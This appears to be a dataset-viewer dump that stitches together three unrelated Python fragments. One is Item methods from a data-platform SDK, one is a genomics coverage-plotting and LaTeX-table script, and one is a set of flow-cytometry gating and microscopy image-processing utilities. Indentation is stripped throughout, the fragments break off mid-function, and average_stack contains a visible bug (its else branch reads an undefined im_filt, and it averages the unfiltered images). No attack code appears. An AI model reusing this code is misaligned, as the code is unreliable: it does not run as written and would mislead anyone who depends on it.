:param system_metadata: bool - True, if you want to change metadata system
:return: Item object
"""
return self.items.update(item=self, system_metadata=system_metadata)
def move(self, new_path):
"""
Move item from one folder to another in Platform
If the directory doesn't exist it will be created
:param new_path: new full path to move item to.
:return: True if update successfully
"""
assert isinstance(new_path, str)
if not new_path.startswith('/'):
new_path = '/' + new_path
if new_path.endswith('/'):
self.filename = new_path + self.name
else:
try:
self.items.get(filepath=new_path, is_dir=True)
self.filename = new_path + '/' + self.name
except exceptions.NotFound:
self.filename = new_path
return self.update(system_metadata=True)
def clone(self, dst_dataset_id=None, remote_filepath=None, metadata=None, with_annotations=True,
with_metadata=True, with_task_annotations_status=False, allow_many=False, wait=True):
"""
Clone item
:param dst_dataset_id: destination dataset id
:param remote_filepath: complete filepath
:param metadata: new metadata to add
:param with_annotations: clone annotations
:param with_metadata: clone metadata
:param with_task_annotations_status: clone task annotations status
:param allow_many: `bool` if True use multiple clones in single dataset is allowed, (default=False)
:param wait: wait the command to finish
:return: Item
"""
if remote_filepath is None:
remote_filepath = self.filename
if dst_dataset_id is None:
dst_dataset_id = self.dataset_id
return self.items.clone(item_id=self.id,
dst_dataset_id=dst_dataset_id,
remote_filepath=remote_filepath,
metadata=metadata,
with_annotations=with_annotations,
with_metadata=with_metadata,
with_task_annotations_status=with_task_annotations_status,
allow_many=allow_many,
wait=wait)
def open_in_web(self):
"""
Open the items in web platform
:return:
"""
self._client_api._open_in_web(url=self.platform_url)
def update_status(self, status: ItemStatus, clear=False):
"""
update item status
:param status: "completed" ,"approved" ,"discarded"
:param clear: bool -
:return :True/False
"""
if status not in list(ItemStatus):
raise exceptions.PlatformException(
error='400',
message='Unknown status: {}. Please choose from: {}'.format(status, list(ItemStatus)))
filters = entities.Filters(resource=entities.FiltersResource.ANNOTATION)
filters.add(field='label', values=status)
filters.add(field='metadata.system.system', values=True)
filters.add(field='type', values='class')
annotations = self.annotations.list(filters)
if len(annotations) > 0:
if clear:
# delete all annotation (AnnotationCollection)
annotations.delete()
return True
try:
if not clear:
annotation_definition = entities.Classification(label=status)
entities.Annotation.new(item=self,
annotation_definition=annotation_definition,
metadata={'system': {'system': True}}).upload()
| |
<reponame>ngannguyen/referenceViz
#!/usr/bin/env python
"""
Create coverage plots
nknguyen at soe dot ucsc dot edu
Input: coverageStats.xml files
"""
import os, sys
from optparse import OptionParser
import xml.etree.ElementTree as ET
#from numpy import *
from numpy import arange
import libPlotting as libplot
import matplotlib.pyplot as pyplot
from matplotlib.ticker import LogLocator
from matplotlib.ticker import FixedFormatter
from matplotlib.font_manager import FontProperties
class Sample():
def __init__(self, sampleNode):
self.name = sampleNode.attrib[ 'sampleName' ]
self.referenceName = sampleNode.attrib[ 'referenceName' ]
self.otherReferenceName = sampleNode.attrib[ 'otherReferenceName' ]
#self.baseCoverages = sampleNode.attrib[ 'baseCoverages' ].strip().split()
items = sampleNode.attrib[ 'baseCoverages' ].strip().split()
totalBases = 0
for i in range( len(items) ):
items[i] = int( items[i] )
totalBases += items[i]
if totalBases == 0:
sys.stderr.write("Total bases is 0 for sample %s. Please check.\n" %self.name)
sys.exit(1)
self.baseCoverages = items
self.relativeBaseCoverages = []
for item in items:
self.relativeBaseCoverages.append( item/float(totalBases) )
self.referenceBasesMapped = int( sampleNode.attrib['referenceBasesMapped'] )
self.otherReferenceBasesMapped = int( sampleNode.attrib['otherReferenceBasesMapped'] )
self.totalBases = totalBases
#set order:
self.order = 0
orders = {'hg19':1,'reference':2, 'average':3, 'all':4, 'panTro3':6, 'minusOtherReference':5 }
if self.name in orders:
self.order = orders[self.name]
def __cmp__(self, other):
if self.order > other.order:
return 1
elif self.order < other.order:
return -1
else:
if self.baseCoverages[0] > other.baseCoverages[0]:
return 1
elif self.baseCoverages[0] < other.baseCoverages[0]:
return -1
else:
return 0
#class Stats( list ): #each Stats represents one input XML file
# def __init__( self, name ):
# self.name = name
# def setRefName( self, refname ):
# self.refname = refname
# def setOtherRefName( self, name ):
# self.otherRefname = name
def drawData( axes, stats, isAbs, ycutoff ):
#if isAbs, draw absolute values. If not, draw proportion (relative values)
lines = []
linenames = []
ydataList = []
#initialize ydataList:
#for i in range( len(stats[0].baseCoverages) - len(stats), len(stats[0].baseCoverages) ):
#for i in range( len(stats) -1 ): #each coverage level
for i in range( len(stats) -1 - 2 ): #each coverage level (num samples - average, reference, minusOtherReference
ydata = []
for j in range( len(stats) ):#each sample
if isAbs:
#if stats[j].name == 'aggregate':
# ydata.append( stats[j].baseCoverages[i]/(len(stats) -1) )
#else:
ydata.append( stats[j].baseCoverages[i] )
else:
ydata.append( stats[j].relativeBaseCoverages[i] )
ydataList.append(ydata)
#colors = libplot.getColors2( len(stats) )
colors = libplot.getColors3()
colorindex = 0
x = arange( len(stats) ) #x axis represents the samples
barwidth = 0.6
#add bottom-most bar (number of bases that are in all samples)
l = axes.bar( x, ydataList[ len(ydataList) - 1 ], barwidth, color = colors[colorindex], ec="w" )
lines.append( l[0] )
linenames.append( "%d" % len(ydataList) )
culmulativeList = ydataList[ len(ydataList) - 1 ]
for i in range( len(ydataList) - 2, -1, -1 ):
colorindex += 1
l = axes.bar( x, ydataList[i], barwidth, color = colors[colorindex], bottom=culmulativeList, ec="w" )
lines.append( l[0] )
linenames.append( "%d" % (i + 1) )
#Update cumulative list:
for j in range( len(culmulativeList) ):
culmulativeList[j] += ydataList[i][j]
#l = axes.fill_between( x=range(len(ydataList[i])), y1=ydataList[i], y2=[0] * len(ydataList[i]) , facecolor=colors[colorindex], linewidth = 0.0)
libplot.editSpine( axes )
axes.set_title("Sample Coverage") #TO BE NAMED!!!
pyplot.xlabel("Samples")
if isAbs:
pyplot.ylabel("Number of positions")
else:
pyplot.ylabel("Proportion of total positions")
#set ticks:
samples = []
for sample in stats:
samples.append( libplot.properName( sample.name ) )
fontP = FontProperties()
fontP.set_size('small')
pyplot.xticks( x + barwidth/2., samples, rotation=90, fontproperties=fontP )
pyplot.yticks( fontproperties=fontP )
#for label in axes.yaxis.get_ticklabels():
# label.fontproperties = fontP
# label.set_rotation( 45 )
axes.xaxis.set_ticks_position( 'bottom' )
axes.yaxis.set_ticks_position( 'left' )
miny = ycutoff
if not isAbs:
axes.set_ylim(ycutoff, 1)
#axes.set_ylim(0, 1)
axes.set_xlim(-0.5, len(stats) )
axes.yaxis.grid(b=True, color="#A8A8A8", linestyle='-', linewidth=0.25)
#Legend:
box = axes.get_position()
axes.set_position( [box.x0, box.y0, box.width*0.8, box.height] )
lines.reverse()
linenames.reverse()
legend = axes.legend( lines, [libplot.properName(n) for n in linenames], prop=fontP, loc="best", bbox_to_anchor=(1,0.75) )
legend._drawFrame=False
return lines, linenames
def drawCoveragePlot( options, stats, isAbs, ycutoff ):
prefix = "coverage_%.2f_" %ycutoff
if not isAbs:
prefix = "rel_coverage_%.2f_" %ycutoff
options.out = os.path.join(options.outdir, prefix + stats[0].referenceName)
fig, pdf = libplot.initImage( 8.0, 10.0, options )
axes = fig.add_axes( [0.14, 0.2, 0.8, 0.6] )
#axes = libplot.setAxes( fig )
lines, linenames = drawData( axes, stats, isAbs, ycutoff )
libplot.writeImage( fig, pdf, options )
#================= Latex table of mapped bases of each sample onto the reference vs hg19 ===========
def tabHeader(f, ref1, ref2):
f.write("\\begin{table}\n")
f.write("\\begin{center}\n")
f.write("\\scalebox{1}{%\n")
f.write("\\begin{tabular}{c|r|r|r|r}\n")
#f.write("\\multicolumn{6}{c}{%s} \\\\\n" %title)
#f.write("\\hline\n")
f.write("\\hline\n")
f.write("Sample & Repeat & %s & %s & Total\\\\\n" %(libplot.properName(ref1), libplot.properName(ref2)))
#f.write("Sample & Reads & Total Bases & \\%%Repeats & SNP Rate & Overal Snp Rate\\\\\n")
f.write("\\hline\n")
def tab(f, stats, sample2repeat):
altColor = 1
for sample in stats:
repeat = 'NA'
repeatPc = ''
if sample.name in sample2repeat:
repeat = libplot.prettyInt( sample2repeat[sample.name][1] )
repeatPc = "(%.2f \\%%)" %sample2repeat[sample.name][2]
otherRef = libplot.prettyInt(sample.otherReferenceBasesMapped)
otherRefPc = "%.2f" % (100.0*sample.otherReferenceBasesMapped/sample.totalBases)
ref = libplot.prettyInt(sample.referenceBasesMapped)
refPc = "%.2f" % (100.0*sample.referenceBasesMapped/sample.totalBases)
total = libplot.prettyInt(sample.totalBases)
sampleName = libplot.properName(sample.name)
if altColor == 1:
f.write("%s & %s %s & %s (%s \\%%) & %s (%s \\%%) & %s \\\\\n" %(sampleName, repeat, repeatPc, otherRef, otherRefPc, ref, refPc, total ))
else:
f.write("\\cellcolor[gray]{0.9} %s & \\cellcolor[gray]{0.9} %s %s & \\cellcolor[gray]{0.9} %s (%s \\%%) & \\cellcolor[gray]{0.9} %s (%s \\%%) & \\cellcolor[gray]{0.9} %s \\\\\n" %(sampleName, repeat, repeatPc, otherRef, otherRefPc, ref, refPc, total ))
altColor = 1 - altColor
f.write("\\hline\n")
def drawCompareCoverageTab( options, stats, sample2repeat ):
prefix = "cmpCoverageTab"
outfile = os.path.join( options.outdir, "%s%s_%s.tex" %(prefix, stats[0].referenceName, stats[0].otherReferenceName) )
f = open(outfile, 'w')
libplot.writeDocumentStart(f)
tabHeader(f, stats[0].otherReferenceName, stats[0].referenceName)
tab(f, stats, sample2repeat)
captionStr = ""
label = ""
libplot.tableCloser(f, captionStr, label)
libplot.writeDocumentEnd(f)
f.close()
#================= Mapped bases of each sample onto the reference vs hg19 ===========
def drawCompareData( axes, options, stats, isAbs ):
if len(stats) == 0:
return
#if isAbs, draw absolute values. If not, draw proportion (relative values)
lines = []
linenames = [ stats[0].otherReferenceName, stats[0].referenceName, "total" ]
barwidth = 0.25
#X data:
x3data = []
#avgIndex = -1
currx = -1
#xVer = [] #location (x) of vertical lines to separate between human samples | avr, all | chimp
for i,s in enumerate( stats ):
#if s.name == 'average':
# avgIndex = i
if s.name == 'average' or s.name == 'panTro3':
currx += 1 + 1.5*barwidth
#xVer.append( currx - (1.0 + 1.5*barwidth - 3*barwidth)/2.0 )
else:
currx += 1
x3data.append( currx )
#print x1data
x2data = [ x + barwidth for x in x3data ]
x1data = [ x + barwidth for x in x2data ]
if isAbs:
y1data = [ sample.otherReferenceBasesMapped for sample in stats ]
y2data = [ sample.referenceBasesMapped for sample in stats ]
y3data = [ sample.totalBases for sample in stats ]
else:
y1data = [ 100.0*sample.otherReferenceBasesMapped/sample.totalBases for sample in stats ]
y2data = [ 100.0*sample.referenceBasesMapped/sample.totalBases for sample in stats ]
y3data = [ 100.0*sample.totalBases/sample.totalBases for sample in stats ]
#Average aggregate data:
#if avgIndex > 0:
# y1data[ avgIndex ] /= float(avgIndex)
# y2data[ avgIndex ] /= float(avgIndex)
# y3data[ avgIndex ] /= float(avgIndex)
colors =["#1F78B4", "#E31A1C", "#4DAF4A"]
#colors =["#1B9E77", "#D95F02", "#7570B3"]
#colors =["#EDF8B1", "#7FCDBB", "#2C7FB8"]
#colors =["#A1DAB4", "#41B6C4", "#225EA8"]
l1 = axes.bar( x1data, y1data, barwidth, color = colors[0], ec="w" )
lines.append( l1[0] )
l2 = axes.bar( x2data, y2data, barwidth, color = colors[1], ec="w" )
lines.append( l2[0] )
l3 = axes.bar( x3data, y3data, barwidth, color = colors[2], ec="w" )
lines.append( l3[0] )
libplot.editSpine( axes )
axes.set_title("Sample Coverage") #TO BE NAMED
#set ticks:
samples = []
for sample in stats:
samples.append( libplot.properName(sample.name) )
fontP = FontProperties()
fontP.set_size('small')
#pyplot.xticks( x + barwidth/2., samples, rotation=45, fontproperties=fontP )
pyplot.xticks( x2data, samples, rotation=45, fontproperties=fontP )
pyplot.yticks( fontproperties=fontP )
#HACK:
yticks = range(2000000, 6000000, 500000)
yticklabels = [ float(y)/1000000 for y in yticks ]
axes.set_yticks(yticks)
axes.set_yticklabels(yticklabels)
pyplot.xlabel("Samples")
pyplot.ylabel("Number of positions (in millions)")
axes.xaxis.set_ticks_position( 'bottom' )
axes.yaxis.set_ticks_position( 'left' )
miny = min( [min(y1data), min(y2data), min(y3data)] )
miny = miny*0.9
maxy = max([max(y1data), max(y2data), max(y3data)])
#Draw vertical lines:
#for x in xVer:
# axes.plot([x, x], [miny, maxy], color="#A8A8A8")
axes.set_ylim( miny, maxy )
axes.set_xlim(-0.5, max(x1data) + 0.5 )
axes.yaxis.grid(b=True, color="#A8A8A8", linestyle='-', linewidth=0.25)
#Legend:
box = axes.get_position()
axes.set_position( [box.x0, box.y0, box.width*0.95, box.height*0.9] )
legend = axes.legend( lines, [libplot.properName(n) for n in linenames], prop=fontP, loc="best", bbox_to_anchor=(0.2, 1) )
legend._drawFrame=False
return
def drawCompareCoveragePlot( options, stats, isAbs ):
if len(stats) == 0:
return
prefix = "cmpCoverage_"
if not isAbs:
prefix = "cmpRelCoverage_"
options.out = os.path.join( options.outdir, "%s%s_%s" %(prefix, stats[0].referenceName, | |
flat-chain
flatchain[:,1] = ei flat-chain
flatchain[:,2] = R flat-chain
flatchain[:,3] = epsilon_r flat-chain
mass_frac : float with 0 < mass_frac <= 1
The fraction of the probability to be included in
the HPD. For example, `massfrac` = 0.95 gives a
95% HPD.
epsilon : float.
Energy difference between active and inactive state.
Returns
-------
cred_region : array-like
array of 2 x len(iptg) with the upper and the lower fold-change HPD
bound for each iptg concentration
'''
# initialize the array to save the credible region
cred_region = np.zeros([2, len(iptg)])
# loop through iptg concentrations, compute all the fold changes and
# save the HPD for each concentration
for i, c in enumerate(iptg):
fc = fold_change_log(c, flatchain[:, 0], flatchain[:, 1], epsilon,
flatchain[:, 2], flatchain[:, 3])
cred_region[:, i] = hpd(fc, mass_frac)
return cred_region
# #################
# Flow Cytometry Data Processing
# #################
# #################
def fit_2D_gaussian(df, x_val='FSC-A', y_val='SSC-A', log=False):
'''
This function hacks astroML fit_bivariate_normal to return the mean
and covariance matrix when fitting a 2D gaussian fuction to the data
contained in the x_vall and y_val columns of the DataFrame df.
Parameters
----------
df : DataFrame.
dataframe containing the data from which to fit the distribution
x_val, y_val : str.
name of the dataframe columns to be used in the function
log : bool.
indicate if the log of the data should be use for the fit or not
Returns
-------
mu : tuple.
(x, y) location of the best-fit bivariate normal
cov : 2 x 2 array
covariance matrix.
cov[0, 0] = variance of the x_val column
cov[1, 1] = variance of the y_val column
cov[0, 1] = cov[1, 0] = covariance of the data
'''
if log:
x = np.log10(df[x_val])
y = np.log10(df[y_val])
else:
x = df[x_val]
y = df[y_val]
# Fit the 2D Gaussian distribution using atroML function
mu, sigma_1, sigma_2, alpha = fit_bivariate_normal(x, y, robust=True)
# compute covariance matrix from the standar deviations and the angle
# that the fit_bivariate_normal function returns
sigma_xx = ((sigma_1 * np.cos(alpha)) ** 2 +
(sigma_2 * np.sin(alpha)) ** 2)
sigma_yy = ((sigma_1 * np.sin(alpha)) ** 2 +
(sigma_2 * np.cos(alpha)) ** 2)
sigma_xy = (sigma_1 ** 2 - sigma_2 ** 2) * np.sin(alpha) * np.cos(alpha)
# put elements of the covariance matrix into an actual matrix
cov = np.array([[sigma_xx, sigma_xy], [sigma_xy, sigma_yy]])
return mu, cov
# #################
def gauss_interval(df, mu, cov, x_val='FSC-A', y_val='SSC-A', log=False):
'''
Computes the of the statistic
(x - µx)'sum(x - µx)
for each of the elements in df columns x_val and y_val.
Parameters
----------
df : DataFrame.
dataframe containing the data from which to fit the distribution
mu : array-like.
(x, y) location of bivariate normal
cov : 2 x 2 array
covariance matrix
x_val, y_val : str.
name of the dataframe columns to be used in the function
log : bool.
indicate if the log of the data should be use for the fit or not.
Returns
-------
statistic_gauss : array-like.
array containing the result of the linear algebra operation:
(x - µx)'sum(x - µx)
'''
# Determine that the covariance matrix is not singular
det = np.linalg.det(cov)
if det == 0:
raise NameError("The covariance matrix can't be singular")
# Compute the vector x defined as [[x - mu_x], [y - mu_y]]
if log is True:
x_vect = np.log10(np.array(df[[x_val, y_val]]))
else:
x_vect = np.array(df[[x_val, y_val]])
x_vect[:, 0] = x_vect[:, 0] - mu[0]
x_vect[:, 1] = x_vect[:, 1] - mu[1]
# compute the inverse of the covariance matrix
inv_sigma = np.linalg.inv(cov)
# compute the operation
interval_array = np.zeros(len(df))
for i, x in enumerate(x_vect):
interval_array[i] = np.dot(np.dot(x, inv_sigma), x.T)
return interval_array
# #################
def auto_gauss_gate(df, alpha, x_val='FSC-A', y_val='SSC-A', log=False,
verbose=False):
'''
Function that applies an "unsupervised bivariate Gaussian gate" to the data
over the channels x_val and y_val.
Parameters
----------
df : DataFrame.
dataframe containing the data from which to fit the distribution
alpha : float. [0, 1]
fraction of data aimed to keep. Used to compute the chi^2 quantile
function
x_val, y_val : str.
name of the dataframe columns to be used in the function
log : bool.
indicate if the log of the data should be use for the fit or not
verbose : bool.
indicate if the percentage of data kept should be print
Returns
-------
df_thresh : DataFrame
Pandas data frame to which the automatic gate was applied.
'''
data = df[[x_val, y_val]]
# Fit the bivariate Gaussian distribution
mu, cov = fit_2D_gaussian(data, log=log)
# Compute the statistic for each of the pair of log scattering data
interval_array = gauss_interval(data, mu, cov, log=log)
# Find which data points fall inside the interval
idx = interval_array <= scipy.stats.chi2.ppf(alpha, 2)
# print the percentage of data kept
if verbose:
print('''
with parameter alpha={0:0.2f}, percentage of data kept = {1:0.2f}
'''.format(alpha, np.sum(idx) / len(df)))
return df[idx]
# #################
# Image Processing
# #################
# #################
def ome_split(im):
"""Splits an ome.tiff image into individual channels"""
if len(np.shape(im)) != 3:
raise RuntimeError('provided image must be a single image')
ims = []
for i in range(np.shape(im)[-1]):
ims.append(im[:, :, i])
return ims
# #################
def average_stack(im, median_filt=True):
"""
Computes an average image from a provided array of images.
Parameters
----------
im : list or arrays of 2d-arrays
Stack of images to be filtered.
median_filt : bool
If True, each image will be median filtered before averaging.
Median filtering is performed using a 3x3 square structural element.
Returns
-------
im_avg : 2d-array
averaged image with a type of int.
"""
# Determine if the images should be median filtered.
if median_filt is True:
selem = skimage.morphology.square(3)
im_filt = [scipy.ndimage.median_filter(i, footprint=selem) for i in im]
else:
im = im_filt
# Generate and empty image to store the averaged image.
im_avg = np.zeros_like(im[0]).astype(int)
for i in im:
im_avg += i
im_avg = im_avg / len(im)
return im_avg
def generate_flatfield(im, im_dark, im_field, median_filt=True):
"""
Corrects illumination of a given image using a dark image and an image of
the flat illumination.
Parameters
----------
im : 2d-array
Image to be flattened.
im_dark : 2d-array
Average image of camera shot noise (no illumination).
im_field: 2d-array
Average image of fluorescence illumination.
median_filt : bool
If True, the image to be corrected will be median filtered with a
3x3 square structural element.
Returns
-------
im_flat : 2d-array
Image corrected for uneven fluorescence illumination. This is performed
as
im_flat = ((im - im_dark) / (im_field - im_dark)) *
mean(im_field - im_dark)
Raises
------
RuntimeError
Thrown if bright image and dark image are approximately equal. This
will result in a division by zero.
"""
# Ensure that the same image is not being provided as the bright and dark.
if np.isclose(im_field, im_dark).all():
raise RuntimeError('im_bright and im_dark are approximately equal.')
# Compute the mean difference between the bright and dark image.
mean_diff = np.mean(im_field - im_dark)
if median_filt is True:
selem = skimage.morphology.square(3)
im_filt = scipy.ndimage.median_filter(im, footprint=selem)
else:
im_filt = im
# Compute and return the flattened image.
im_flat = ((im_filt - im_dark) / (im_field - im_dark)) * mean_diff
return im_flat
# #################
def find_zero_crossings(im, selem, thresh):
"""
This function computes the gradients in pixel values of an image after
applying a sobel filter to a given image. This function is later used in
the Laplacian of Gaussian cell segmenter (log_segmentation) function. The
arguments are as follows.
Parameters
----------
im : 2d-array
Image to be filtered.
selem : 2d-array, bool
Structural element used to compute gradients.
thresh : float
Threshold to define gradients.
Returns
-------
zero_cross : 2d-array
Image with identified zero-crossings.
Notes
-----
This function as well as `log_segmentation` were written by Just<NAME>.
http://bebi103.caltech.edu/
"""
# apply a maximum and minimum filter to the image.
im_max = scipy.ndimage.filters.maximum_filter(im, footprint=selem)
im_min = scipy.ndimage.filters.minimum_filter(im, footprint=selem)
# Compute the gradients using a sobel filter.
im_filt = skimage.filters.sobel(im)
# Find the zero crossings.
zero_cross = (((im >= 0) & (im_min < 0)) | ((im <= 0) & (im_max > 0)))\
& (im_filt >= thresh)
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.